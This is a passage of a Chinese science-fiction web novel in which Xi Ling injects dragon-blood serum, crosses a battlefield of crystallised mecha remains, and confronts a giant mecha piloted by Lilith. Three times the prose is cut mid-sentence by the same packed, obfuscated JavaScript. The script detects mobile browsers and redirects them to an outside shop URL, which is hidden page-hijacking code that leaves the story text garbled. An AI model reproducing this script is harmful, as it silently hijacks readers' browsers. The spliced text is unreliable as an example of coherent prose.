“埃德蒙副官!”这时,一个指挥部成员惊叫道,“所有靠近那个未知高能生命体的侦查机甲,全都、全都……” 埃德蒙的眉头皱得极紧:“全都怎么了?” “它们全都消失了!不,更准确地说,是被吞噬了!”指挥部成员不敢置信地盯着屏幕,“它们的谐波数据和那个未知生命体融为一体,就像当初郗灵……” 指挥部成员话说到一半,突然止住。 因为郗灵就站在这里。 郗灵看了看指挥部成员犹豫的表情,毫不介意地说:“没关系,请继续说吧。” “就像当初,郗灵爆发出远超检测极限的谐波,化身为类似恒星的高能量体一样。”指挥部成员复杂地看了郗灵一眼,“我猜测,那个正在向我方逼近的未知高能量体,可能是和郗灵相同的存在。” 指挥部成员的声音极轻。 但郗灵听出了对方的言外之意。 ——郗灵不是人类。 ——她是对付那个强大敌人的利器。 埃德蒙当即瞪大眼睛,对指挥部成员厉声训斥:“你知道你在说什么吗!” “埃德蒙副官,我正是为此而来。”郗灵打断埃德蒙。 埃德蒙一瞬间沉默了。 郗灵看着埃德蒙灰色的独眼,再次抬手按上了自己的心口。 她是龙。 她的力量源泉——那颗鲜活的心脏正在有力地跳动。 当年,维尔莱德是否也遭受过这样的对待? 想必是一定的。 维尔莱德比现在的郗灵更加强大、神秘,而畏惧未知的存在,本就是人类的天性。 所以人们既依赖他,又希望他死去。 但郗灵不在意别人怎么看待她。 那些走上战场的士兵,是她珍视的战友,更是这场战争中最无辜的人。 她希望这些人可以好好地活下来。 于是郗灵说:“埃德蒙副官,我想去探查那个未知生命体,请您批准。” 埃德蒙深深地注视着郗灵:“你能保证自己的安全吗?” “我能。”郗灵回答,“但我还需要一样东西。” “什么东西?” “我需要大量血清——阿瑞斯军校生产的那种血清。” 101. 豌豆(十二) 阿瑞斯军校的焦新叶送来了两箱血清。 殷红的血清密封在特殊针筒中,仿佛固态的火焰。 郗灵拿起一管血清举在眼前端详,又在焦新叶震惊的注视下安装上针头,把针尖对准了自己的腕部静脉。 焦新叶眼珠一颤,立刻伸手抢夺:“你要做什么!” 但郗灵的动作比焦新叶更快。 她将血清飞快推入静脉,手臂上的血管瞬间鼓胀凸起,在苍白的皮肤下蜿蜒游走,如一条躁动的青蛇。 焦新叶看着郗灵鼓胀的血管,浑身一僵,当场愣在原地。 而后,她深吸一口气,扭头看向埃德蒙,冷静地质问:“埃德蒙副官,我送来血清,可不是为了让郗灵瞎折腾的。” 埃德蒙抬起手示意焦新叶安静,一眨不眨地观察着郗灵:“你感觉如何?” 但这个问题有些多余。 于众目睽睽之下,郗灵苍白的脸色肉眼可见地红润了起来。 那支功效暴烈的血清注入她的体内,竟然比世间最好的良药还要有效。 郗灵将空空的针筒放在桌上:“我没有猜错,这东西真的对我有奇效。” 焦新叶沉默不语。 她在总指挥频道收到埃德蒙的指令,一头雾水地送来了两箱血清。 她原以为此战已艰难到极致,只能强行征用这噬人的血清,用在第七军团士兵身上。 但她想错了。 现实比想象更加残酷。 上战场的是郗灵。 注射血清的也是郗灵。 “……郗灵,别怪我没有提醒你,这血清不可滥用。”焦新叶吐出一口气,抬眸看向郗灵,“至于滥用的下场——龙北星就是最好的例子。” “我知道了,多谢提醒。”郗灵朝焦新叶笑了笑。 焦新叶目光一沉,眼底闪过万千思绪。 但郗灵又从左心口袋里掏出一管血清。 焦新叶看到那管血清,再次愣住了: “这是……” “这是你送我的那管血清,它很温暖。”郗灵说着,把那管血清放回口袋。 她蹲下身,在那两箱血清上抚了一把:“焦新叶,我们两次结缘都是因为血清,我会把你送我的这管血清悉心收好,不到万不得已,绝不使用。” 焦新叶没有说话。 郗灵站起身,对埃德蒙道:“埃德蒙副官,帮我把这两箱血清,注入龙姬的驾驶舱吧。” 埃德蒙深深地看了郗灵一眼,用力一挥手。 几名亲兵立刻从他身后走出,搬起血清箱子,站在郗灵身旁候命。 “去吧,”埃德蒙说,“我会让维修部无条件配合你。” “是!”郗灵行了个军礼。 郗灵带着几名亲兵快步离开。 焦新叶猛然转头,失神地望着郗灵的背影。 埃德蒙意味深长地看着焦新叶:“你私下找过她?” 焦新叶顿了顿,回首露出温柔的笑靥:“她是一颗冉冉升起的新星,我当然想要结识她。” “阿瑞斯军校能跻身五大军校,就是因为这独家的血清提炼技术。”埃德蒙开门见山,“你找上郗灵,是因为想要优化血清吧?” 焦新叶柔美地笑着:“每一个阿瑞斯军校的学生,都想要优化血清,这并非我一个人的心愿。” “你黑进过联邦智库吗?” “……什么?” “联邦许多被雪藏的秘辛,都封存在智库的加密数据库里。你若是有心,就想办法破解权限进去,看一看过去的历史,到底藏着多少罪恶与血腥。” 埃德蒙凝视着焦新叶那张无可挑剔的笑脸,“找墨家那个小姑娘,或是欧白白帮忙都可以——等你看完就会明白,你找上郗灵的意图,究竟有多么残忍。” 焦新叶依然微笑着,眉头却一点点皱了起来。 ……残忍? 她清楚,血清的原材料,就是联邦主脑的“血液”。 她也清楚,这种“血液”蕴含着现有科学无法解析的神秘能量,除了主脑本身,再无第二份来源。 她会找上郗灵,全凭心底的直觉。 这是她从未有过的、毫无逻辑的决定。 因此,当郗灵反问她时,她只能闪烁其词,无法给出合理的解释。 或许,这就是关心则乱吧。 当她得知龙北星进行了动脉注射时,她的世界,在一瞬间轰然崩塌。 傻子…… 傻子! 为什么要为联邦做到这种地步?! 埃德蒙凝视着焦新叶。 这个心智过于成熟的小姑娘,此刻终于摘下了假面,露出了这个年龄段该有的表情。 青涩、懵懂、迷茫。 “去看看龙北星吧,如果我没记错,他的医疗舱编号是B-903。”埃德蒙长叹一声,“别给人生留下遗憾,这是我身为过来人的经验。” 焦新叶抬起头,深深地凝视着埃德蒙。 她忽然福至心灵,问道:“恕我冒昧,您的右眼……就是这么瞎掉的吗?” 埃德蒙安静片刻,抬手抚上单边黑色眼罩。 他的指肚下是空洞的眼窝。 ——那颗坏死的眼球早已摘除,里面唯有一个用来插入导线的生化接口。 焦新叶绷紧脸庞,强装镇定,犹如抚摸巨龙逆鳞的勇者。 埃德蒙突然尖利地笑了一声:“焦新叶,扣除5分个人积分!这是你窥探长官隐私的代价。” 焦新叶如释重负地舒了口气。 但片刻后,她听到埃德蒙极其轻柔地开口:“这颗眼球,是我试图改写某人命运的代价。” 那声音比一片雪花还轻,却比一场雪崩更让人喘不过气。 焦新叶不由得屏住呼吸:“那个人……现在还活着吗?” “她还活着,但我宁愿她及时地死去。”埃德蒙垂下睫毛,“如此,她便不用再咀嚼这苦涩的人生。” 焦新叶安静地观察埃德蒙的表情。 所有蛛丝马迹如电光火石般串联起来,一个名字在她的脑海中清晰而缓慢地浮现。 她深深地、震撼地吸了一口凉气。 “上将……她出了什么事了?”焦新叶的心脏怦怦狂跳,像捕兽笼里扑腾的野兔,“她现在根本不在莉莉丝女士那里,对不对?她现在到底在哪儿?” 埃德蒙定定盯着焦新叶。 焦新叶嘴唇颤了颤,下意识露出柔美的微笑,又寻找机会打算逃离。 “她还在第七扇区,目前很安全。”埃德蒙突然说,“但……我们或许再也见不到她了。” 什么?! 焦新叶脑中立刻劈过一道闪电。 埃德蒙自知失言,朝焦新叶摆了摆手,又转向指挥台继续部署。 焦新叶识趣地退下,面上故作镇定,脚步却带着几分虚浮,踉跄着走向走廊。 凤凰上将…… 第七扇区…… 战争…… 联邦…… 焦新叶在走廊上灵魂出窍,脑中愈想愈乱,不留神和一人相撞。 墨轻衣被撞了个趔趄,微微上挑的眼眸恶狠狠地瞪着她:“焦新叶,你都不看路吗!” 焦新叶浑身一颤,涣散的眼神瞬间变得凝实。 她用力抓住墨轻衣的双手:“大小姐,帮帮我!” 墨轻衣愣了一下:“啥?” “我想请你……唔,我想……”焦新叶说话有些磕巴,她终于意识到,刚才自己做出了何等蠢事,“抱歉,我其实……” 墨轻衣反握住焦新叶的手:“我答应你。” 焦新叶:“。” 焦新叶:“我还没说是什么事……” “但你也要帮我。”墨轻衣以一种不容拒绝的姿势,把腕部光脑横举在焦新叶眼前,“从星网上学习怎么和人友好相处,果然还是太慢了——我要你亲自来教我!” 焦新叶:“……” 焦新叶:“先把你的爪子松开!疼死了!” 墨轻衣死攥着不放,甚至更用力了:“你先答应我!” “我答应你!大小姐!”焦新叶小幅度挣扎,终于不堪忍受地开口,“你撒手!真的很疼啊!” 墨轻衣松开手。 焦新叶揉了揉攥得通红的手腕,对墨轻衣道:“我想黑进联邦智库,你能帮我吗?” 墨轻衣微微皱眉。 焦新叶见状,小心地追问:“所以……不行吗?” “这也太简单了吧!”墨轻衣不满地环起双臂,语气里满是“我被看轻了”的嫌弃,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740782|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞得这么郑重其事,结果就提这种小要求?再加点别的,这个算我免费送你的。” 焦新叶:“……” 她顿了顿,忍不住反驳:“可你提的要求也很简单啊——和人打交道,有什么难的?” 墨轻衣气得跺脚:“就是很难!” 焦新叶:“……” “我看完了星网上的评论,气得夜夜睡不着觉——为什么要和人打交道,就要装出笑脸去讨好别人呢?” 墨轻衣深吸一口气,眼神明亮又愤怒:“我已经知道了,我不该伤害别人,更不该逼迫别人喜欢我——可我若要让别人喜欢,就非得伏低做小,把自己的脸面和尊严踩在脚下吗?所以,我觉得那群网友教得不对,他们分明是想看我的笑话!” 焦新叶怔然。 她摸了摸自己的脸——那种温柔而不真实的微笑,一直都挂在自己脸上。 片刻后,她低头一笑。 ——墨家大小姐果然不是吃素的。 ——墨家的继承人,怎么会是任人拿捏的蠢蛋呢? 墨轻衣凌厉地看着焦新叶:“你可以帮我吗?无论你想不想,我都可以帮你黑进智库,反正不是什么大事。” “谢谢你。”焦新叶温柔地说。 “给句瓷实话啊,你帮还是不帮?”墨轻衣又炸了。 “我当然愿意帮你。”焦新叶无奈又苦涩地笑,“但我……可不是个好老师。” 墨轻衣盯着焦新叶。 那目光如狮子般迥然,焦新叶竟有无处遁形之感。 突然,墨轻衣抓起焦新叶的手,扭头开始狂奔:“我们先去医疗部!” 焦新叶被拽得趔趄:“为、为什么?” “去见龙北星!” “……哈?” “龙北星已经醒了,他想见你!我知道他喜欢你,我想知道你到底喜不喜欢他!” “墨轻衣!你是不是有病?!” “对了,就这么叫我!”墨轻衣于狂奔中短暂回头,朝焦新叶灿然一笑,“不是墨大小姐,不是墨家继承人,就是墨轻衣——墨轻衣的‘墨’,墨轻衣的‘轻衣’!” 焦新叶猛地闭嘴。 她被墨轻衣拽得踉跄,奔跑的脚步声在走廊里回荡——仿佛这里不是戒备森严的军事母舰,而是学校课间喧闹的长廊。 焦新叶看着墨轻衣的背影,突然明白,自己为什么如此看不惯她了。 喜恶同因。 她如同火焰,既能予人温暖,亦能灼伤他人。 渴望取暖者,敛步俯身而近。 厌其灼热者,裹衣避之若浼,反唾其烈。 她能被人恨得咬牙切齿,也能被人爱得死心塌地。 焦新叶发自内心地笑了起来。 墨轻衣回头瞪她:“你又在偷偷骂我笨蛋了,是不是?” “没有,我才是笨蛋。”焦新叶温柔地说,“我最笨了,墨大小姐。” “叫我墨轻衣!” “嗯,墨轻衣。” “所以你到底喜不喜欢龙北星?” “……墨大小姐,你还是去死吧!” * 豌豆安静地握着肖恩爷爷的手。 肖恩爷爷又变成了一条长长的河流。 他看着窗外,几滴眼泪顺着布满皱纹的面庞流下,仿佛河水漫过坎坷的河床。 “肖恩爷爷,”豌豆问,“您为什么在哭?” “莉莉丝,她做了错事。”肖恩低沉地叹息,“我嘲笑杜尚别那条老毒蛇,可如今看来,我和他,又有什么区别呢?” 豌豆不说话了。 这不是她这个八岁的孩子应该听懂的话,所以她没有接话。 豌豆攥紧了肖恩的手:“肖恩爷爷,莉莉丝阿姨是好人。我的爸爸妈妈还没有去世的时候,经常对我念叨她的好。” 肖恩的脆弱与迷茫只在豌豆面前流露了一瞬。 他很快收起眼泪,变回了那个倔强又冷戾的小老头。 但肖恩突然下定决心:“豌豆,你能帮我一个忙吗?” 豌豆收回看向窗外的视线,转向肖恩:“您说。” “你带我出去,绕过外面那些监视的士兵。”肖恩低声说,“我的机甲就在三公里外,我要驾驶机甲,阻止莉莉丝酿成大祸。” 102. 豌豆(十三) 第七军团舰队排列成防御阵型,聚能护盾在阵型外围若隐若现。 当郗灵驾驶龙姬,从母舰升降平台起飞时,宛如一粒不起眼的白沫,漂离了钢铁铸就的海洋。 龙姬张开平衡翼,飞行在漆黑的宇宙中。 宇宙一片阒寂,宛如亘古的坟茔。 但大战已是一触即发。 如今,只缺一根导火索了。 不,那根导火索早已点燃,只是引线拉得太长,敌人又隐匿在未知的黑暗里。 郗灵浸泡在注满母液的驾驶舱中,肺里的空气已被置换为带着血腥味的液体。 ——那是母液、机甲脊髓液和龙血血清融合的味道。 飞行一段时间后,郗灵忍不住看向自己的手臂。 注射血清后,那根凸起的血管仍未消肿。 龙的鲜血,是至刚至烈之物。 即便这龙血已被提炼,即便郗灵本身就是龙,这份药效暴烈的血清,她依旧有些无福消受。 埃德蒙的声音在加密频段中响起:“郗灵,你那边信号怎么样,能听到我的声音吗?” 郗灵回神:“我能听到。” “第七扇区的电磁波仍然十分紊乱,这给了我们一个极好的借口。”埃德蒙说,“莉莉丝女士发动叛乱的事情,至今都没有上报中央星。按照上将的意思,这件事她想要压下来。” 郗灵点点头:“我明白。” 第七扇区本就乱成一团。 此地常年战乱不休,民众水深火热,各方势力更是盘根错节。 而中央星那群人……说是脑袋里长了脓包也不为过。 他们能做出把学生推到前线的无耻行为,就证明即便心存“正义”,他们也早已昧了良心。 或许,这就是上将知情不报的原因。 萧寒剑上将常年南征北伐,是中央用以加强边地统治的一枚棋子。 但她对联邦怀有强烈的期许,因此格外恨铁不成钢。 她拥有光明纯洁的理想,故而能在腐朽的联邦里,看见无数心向黎明之人仍在苦苦挣扎。 她手握机甲暴走的力量,故而深悯弱者之痛,更看透那些媚上欺下、向更弱者挥刀的家伙,究竟是怎样的人面兽心。 “现在,我这里的实时坐标显示,你正在穿越星域战场的停火地带。” 埃德蒙的声音断断续续——郗灵已经离舰队太远了。 郗灵看着屏幕。 借助龙姬的驾驶视野,郗灵看到,她所处的这片宇宙,是一片一望无际的黑暗。 但这里并非空无一物。 一块又一块形似微型陨石的碎块散落在太空里,唯有龙姬掠过之际,艳丽的尾焰照亮它们的轮廓,才得以被肉眼捕捉。 但郗灵一眼就认出来,它们不是陨石。 战场之中,一切障碍物都会被提前清除。 这里能残留下来的,只会是人造物。 它们有的是被遗弃的能源武器,有的是飞船的金属组件。 但那些东西里,所占比例最多的,是机甲的残骸。 郗灵沉默地看着这些飘浮的残骸。 它们仿佛晶莹剔透的琉璃,又仿佛死神凝固的泪滴。 当机甲爆炸时,外层的拘束装甲会迅速变形展开,组装成封闭的金属维生舱,保护机甲师和机甲胚胎的安全。 但本次战争的惨烈程度,远超所有人的想象。 机械帝皇丧心病狂,竟从机械母星调来了名为“生产机床”的灭世武器。 那颗“金属太阳”仅仅释放了两次谐波,便对第七军团造成了毁灭性的打击。 数不清的机甲在谐波中自爆,局部高温当即撕裂了机甲基材的原子键。 机甲与机甲师在绚烂的花火中,化作了混沌的等离子态。 而郗灵释放的“大乐章”,又让这些机甲迅速降温。 冷却过程中,原子重新排列,机甲与机甲师的残骸交织重构,最终凝铸成琉璃般剔透的晶体。 郗灵孤独地飞行,一一路过那些剔透的晶体,良久没有说话。 埃德蒙聪慧近妖,立刻猜到了郗灵心中所想。 “那些东西,你看到了?” “嗯。” “机械军团溃败后,后勤部队立即出舰,不顾战场尚未冷却的高温,冒着生命危险回收战友的遗体。”埃德蒙说,“那时你刚陷入昏迷,上将守在你身旁。她与后勤部队一同亲眼目睹了……遗体变成晶体的全过程。” 郗灵深吸一口气。 血腥味的母液进入她的肺部。 她静默片刻,颤声问:“那个过程……是什么样子的?” “很美。”埃德蒙残忍地回答。 郗灵呼吸一滞。 “爆炸结束后,机甲残骸仍在持续升温。那些牺牲的士兵们,在一片银白色的辉光中,变成了一团团边缘模糊的光雾。” 埃德蒙站在指挥台上。 他按紧耳麦,灰色的独眼看着大屏幕:“那时,我已萌生最悲观的设想——所有士兵的遗体都将无法回收,他们会以光的形态在宇宙中逸散,整片银河都将撒满他们的骨灰。” “但是,你奏响了大乐章。” “一团又一团光雾,在高速运动的粒子和波中迅速坍缩。” “仅仅数个毫秒之内,那些光雾从透明变得不透明,转瞬即逝的、微弱的热辐射光晕萦绕其上,如同生命的余晖。” “我以损坏三台波粒捕捉机为代价,捕捉到了他们散发出的信号。” “那些信号,大多呈现出混乱无规律的状态。” “但是,有0.03%的信号,可以解析出有逻辑的句子。” “这些可以解读的样本,一共有63份。” “其中,有31份在说‘妈妈’,有13份在说‘害怕’,有9份在说脏话,有7份在说‘我爱你’,有3份在说‘家’。” “如果我不与这场战争息息相关,如果我能以高高在上的姿态俯瞰这场战争,我必然会诗兴大发。” “但现在,我只能说,这很美。” 郗灵一边沉默地倾听,一边驾驶龙姬飞行。 埃德蒙的话并不长,只占用了郗灵短短两分钟。 但这两分钟,在郗灵心中却十分漫长。 她仍未穿出这片停火地带。 一团磷火,如何能飞出巨大的墓园? “等彻底穿出停火地带,你可能会和我们失联。”埃德蒙一眨不眨地盯着屏幕上的数据,“根据你的飞行速度,我们对话的时间,还有1分37秒。” 郗灵短促地笑了一下。 她的笑声被母液裹住,听起来有些含糊:“你在担心我吗,埃德蒙副官?” “是,我在担心你。”埃德蒙的声音沉了沉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754538|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不如说,我问心有愧。” 郗灵一怔。 她品出埃德蒙话中蕴含的深意,并因此陷入了沉默。 “这场战争,并非诞生于偶然。这本是那群脑袋灌脓的老贱货搞出来的烂摊子,如今,却要一个孩子为他们的无耻负责。”埃德蒙深吸一口气。 他的声线有一丝微不可察的颤抖:“郗灵,我自诩聪明绝顶,但此刻,我能为你做的,竟然只有祈祷你平安回来。” 郗灵问:“埃德蒙副官,如果我当了逃兵呢?” “逃吧,逃吧。”埃德蒙回答,“上将把你从矿星救出,已是世间最大的错误。若换做是我,我绝不会救你,即使你死在矿星上,也好过卷入联邦的纷争。” 郗灵听完,突然大笑出声。 大量母液涌进她的肺部,龙血血清骤然起效,如火焰般炙烤着她的四肢百骸。 多么炙热啊,多么滚烫啊。 就像此刻,她那颗砰砰狂跳的心脏一样。 她复仇的执念已无可压制! 她终于看清了自己的敌人! ——机械帝皇纵然恶贯满盈,但在背后推波助澜的联邦,又怎么谈得上无辜! “当战火席卷我的母星,我的面前唯有生与死。”郗灵笑毕,炯炯地看向屏幕中的埃德蒙,“我怎么会逃呢?即使无人来救我,我也会逃离那颗矿星,向我的仇人挥剑复仇。” 埃德蒙再次按紧耳麦,里面却只剩下“刺啦”的杂音。 他几乎听不到郗灵的声音了。 但屏幕窗口里,郗灵那双燃烧着杀意的双眸,却穿透抖动的雪花纹,灼目而清晰。 他凝视她,犹如凝视复仇的修罗。 仇人…… 是啊,仇人。 若有一天,她燃烧着火焰的刀刃斩下了机械帝皇的头颅,又毫不留情地劈向腐朽的联邦,他定不会有一句劝阻。 他只会举杯而庆,大喝“干得漂亮”! 雪白的龙姬拖着艳丽的尾焰,如一颗耀眼的流星,直直冲出了漆黑死寂的停火地带。 大量混乱的谐波在失去晶体障碍物的阻隔后,以令人作呕的频率,在郗灵耳边高亢响起。 埃德蒙的投影一瞬间变得扭曲。 “……郗……”埃德蒙的话断断续续传来,“……上将……相信……” “我不会辜负上将,更不会辜负我自己。”郗灵回应,“仇敌一日不死,我便一日不得安宁。” 轰! 话音刚落,金色的火焰席卷龙姬全身。 龙姬从一颗苍白的星星,瞬间变成了金色的烈阳。 郗灵驾驶龙姬,驰骋在敌军的战场上。 大量数据籍由龙姬反馈至母舰。 总指挥频道中,以埃德蒙副官为首,所有指挥官立刻绷紧神经,对这份珍贵的数据展开分析。 维卡突然惊呼出声:“这……这怎么可能!” 埃德蒙“啧”了一声:“维卡,扣5分。” “埃德蒙副官!”维卡近乎尖叫地说,“这些数据,和我卖给第七扇区的黑机甲一模一样,那个未知生命体很可能就是……” 维卡本来心中充满了震惊和愤怒,但当她就要说出那个名字时,她一瞬间被无上的惶恐裹挟。 莉莉丝·施耐德…… 莉莉丝·施耐德! 你到底……做了些什么?! 103. 豌豆(十四) 战争是什么? 郗灵驾驶龙姬,孤身穿梭在空旷的战场上,心中不由自主地冒出了这个问题。 ——战争,是死亡吗? 人固有一死,当一个人呱呱坠地的刹那,生命的尽头便已立着一位死神。 但战争和死亡不同。 死亡是生命的终点,是命运的尽头,但人在活着的时候,无论生命还是命运,都掌握在自己的手中。 战争是政治的延续,是两个或多个政权之间的武力冲突。 而战争的开始与结束,只在最高话事人的双唇嗡动之间。 战争带来的死亡远比天灾惨烈,可当死亡人数上报至中央星,不过只是一串触目惊心的数字。 而战争的真正话事人,若是抛却了良心,甚至可以一边阅读这份战报,一边品鉴杯中的美酒。 ——那么,战争是什么? 郗灵说不出战争到底是什么。 她饱受战争之苦,母星因此毁灭,族人也尽数死去。她成了偌大银河中最不起眼的一个孤儿,如一粒随风飘扬的草籽,渴盼着在某片土地扎下根来。 但战争如附骨之疽,一直纠缠在她的梦中。 即使在维尔莱德军校,她也不时被战争的阴影刺痛,如同一位断腿的残疾人,抚摸着作痛的幻肢,不知如何是好。 直到一发狙击弹打破了她的美梦。 那发狙击弹清清楚楚地告诉她,她和别人不一样,她已经置身一场残酷的斗争中,斗争的结果唯有胜利与死亡。 但这并不是一件坏事。 这反而激发出她无尽的斗志。 她安逸了太久了。 鲨鱼天生就会追逐海水中的鲜血,郗灵身为不死的龙,本身就是一件强有力的武器。 她要复仇。 为了复仇,她甘愿献上自己的生命。 可她竟然是不死的。 还有什么,能比这件事更让她欣喜若狂呢? 她狙杀下议院议长林德,炸毁总统府,又在皇宫地底得到了维尔莱德的半数力量。 她狂奔在复仇的道路上,以为自己真的从战争的阴影中解脱。 但主脑的话让她如坠冰窟——战争开始了。 她已经不是从前那个懵懂无知的少女,只会在从天而降的炮火下无助地哭泣、逃窜。 她认识了许多人,知道了许多事。 尽管这个世界在她眼中仍如谜团一般,但她再也不会毫无反抗之力了。 她以燃烧半身鲜血为代价,在短短三日里横渡星海,抵达第七扇区的星域战场。 她奏响生命大乐章,逆转溃败的战局,以一己之力,让无数人逃离死神的魔爪。 但即使如此,她依然倍感无力。 当她不了解战争时,她以受害者的角度窥视这片没有尽头的黑暗,以为这片黑暗,就是“战争”这头怪兽投落下来的影子。 但当她开始了解战争时,她以亲历者的角度端详眼前的黑暗,却发现,那黑暗并非“战争”的影子,而是另一个更加庞大、阴暗、扭曲之物,在这片银河留下的阴影。 战争,只是那个庞然大物产生的吐息。 若不杀死那个庞然大物,即使战争结束,也会有再次开始的一天。 龙姬在战场中高速飞行,郗灵离那个散发谐波的未知生命体越来越近了。 混乱的谐波充斥郗灵耳畔,宛如死神的啸叫,令人作呕。 郗灵抬起头,目不转睛地盯着视野尽头的那个庞然大物。 ——在遥远的母舰上,郗灵于舷窗边惊鸿一瞥,只能看见一个渺小的白色光点。 星域战场何其庞大,连机械帝皇的“生产机床”,在天文级别的观测距离下,都只如同一个散发着光与热的小球。 可如今,郗灵靠近了它。 她第一次震撼得无可复加,以至于短暂地停下,隔着一段距离,沉默地注视这个扭曲的人工造物。 是的,那个庞然大物并非天然之物,而是人工造物。 它由数以千计的机甲组装而成,却毫无机甲的力与美,反而充满了拼接感,比孩童随意搭成的积木还要粗糙滑稽。 它一点也不美丽,更别谈有力强壮。 但偏偏就是这样一个不该存在于世间的扭曲造物,散发出了远在母舰之上都能看到的白色光芒,有如恒星一般。 它甚至有点像一个童话。 只有在童话里,床会长出脚,茶壶会哈哈大笑,书会自己讲故事,小女孩会钻进衣柜前往冰雪王国。 也只有在童话里,这台超大型机甲才能成功运转。 郗灵静默地注视着超大型机甲,如同注视野兽,如同注视神明。 超大型机甲狰狞的眼球分散在身体各处。 它数以千计的眼睛缓缓转向郗灵。 “……你就是郗灵?”一个失真的女声问道,“你……就是‘龙’?” 那个女声由谐波传递,进入了郗灵的脑中。 郗灵甚至无法为她知道“龙”而感到震惊。 这台浑身充斥着“不可能”,宛如在无数错误之上强行运转的超大型机甲,足以让强大的龙也黯然失色。 郗灵只觉得这声音有些耳熟。 但她却想不起来,她究竟在哪里听过这样的声音。 超大型机甲眨动着千只眼睛,畸形巨大的肢干,随说话的节奏微微晃动。 她似乎没有多少驾驶机甲的经验。 但即使是驾驶经验十分丰富的人,要驾驶这样一台庞然大物,想必精神也会立即崩溃。 一千多台机甲叠加的精神污染,绝非常人所能承受。 即使只是待在超大型机甲附近,郗灵都觉得脑中嗡嗡作响。 更别提那个坐在机甲驾驶舱里的人,会有何等痛苦的体验了。 郗灵为了拖延时间,好采集更多数据,于是反问道:“什么是龙?” “龙……和国父维尔莱德一样的强大生灵,是帝国对超凡生物的敬称。”失真的女声回答。 她竟然知道这么多! 郗灵有些惊讶。 但那女声已经确认郗灵的身份,立刻露出了自己的野心:“郗灵,你应该懂得怀璧其罪的道理,没有人不会垂涎你的力量,我也不例外。” 话音刚落,超大型机甲立刻散发出更加强烈的谐波。 那谐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754539|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波堪称魔音贯耳,郗灵脸色一白,不堪忍受地蜷缩成一团。 一只巨大、扭曲、冰冷的机械手臂朝龙姬伸来。 超大型机甲趁郗灵僵滞的瞬间,妄图攫住这觊觎已久的猎物。 但郗灵很快清醒过来,驾驶龙姬敏捷地逃离超大型机甲的攻击范围。 她环绕超大型机甲飞了一圈,艳丽的尾焰如行星环带一般,包裹住了超大型机甲。 超大型机甲动作迟缓,笨拙而倔强地伸手捕捉。 郗灵的速度快得惊人,驾驶超大型机甲的人接连失手。 但那人仍操控着这台造物,一次又一次朝龙姬探出手,哪怕它散发出的谐波,早已远超人体所能承受的极限。 埃德蒙的投影重新出现:“滋滋……郗灵!” 郗灵惊喜地回应:“埃德蒙副官!” “远离那台机甲,驾驶它的人是莉莉丝·施耐德!”埃德蒙长话短说,因为本次通话机会弥足珍贵,“待你离开打击范围,我们会启动歼星炮,将那台机甲原地歼灭。” 郗灵一愣。 而后,她震惊地看向那台仍在挥舞手臂的超大型机甲。 ——莉莉丝女士?! 难怪这台机甲的动作如此笨重,据郗灵所知,那位地底世界的教母大人,可没有任何驾驶机甲的经验。 埃德蒙盯着屏幕上属于郗灵的坐标:“郗灵!快离开那里!” “我们要杀死莉莉丝吗?上将不是说,莉莉丝的罪名还有待定夺吗?”郗灵一边灵巧地闪避,一边对埃德蒙问道,“难道说,上将的安排有了什么变化吗?” 闻言,埃德蒙陷入沉默。 他足足沉默了三秒,在随时可能中断的远程通话中,这样的沉默诡异得让人不安。 郗灵的心跳立刻乱了节拍。 萧寒剑上将至今未归。 按照埃德蒙的说法,萧寒剑仍在和莉莉丝商榷,但如今莉莉丝就在这台超大型机甲里,那么萧寒剑又在哪里呢? 郗灵顾不上礼貌,高声追问道:“埃德蒙副官!回答我的问题!” “郗灵,不要胡闹。”埃德蒙定定地盯着屏幕中的郗灵,“一切等你回来再说,现在,你先离开那里!” “埃德蒙!!”郗灵的声调瞬间拔高。 啪! 埃德蒙的通话中断了。 郗灵怔怔地盯着变得漆黑的屏幕,愤怒和迷茫在心中交织。 一只巨大的铁手抓住了停滞的龙姬,如同泰坦抓住一只渺小的飞蛾。 “龙,我抓住你了!”莉莉丝的声音畅快而尖锐,“等我得到你的力量,第七扇区将迎来光明的未来……那个时候,芬迪尔的理想,就可以真正实现了!” 芬迪尔! 莉莉丝驾驶机甲的技巧并不纯熟,即便龙姬被超大型机甲攥在掌心,郗灵仍有十足把握逃脱。 可郗灵没有动弹。 她盯着超大型机甲扭曲的面庞,心中冒出了一个大胆的想法。 “莉莉丝女士,您能和我讲讲,芬迪尔的理想到底是什么吗?”郗灵抬起头,堪称甜美地问道,“您想要我的力量,可我想在临死前知道,我的牺牲,真的值得吗?” 104. 豌豆(十五) 莉莉丝冷笑一声:“你想拖延时间?狡猾的小妮子,你以为我不知道‘反派死于话多’这个简单的道理?” 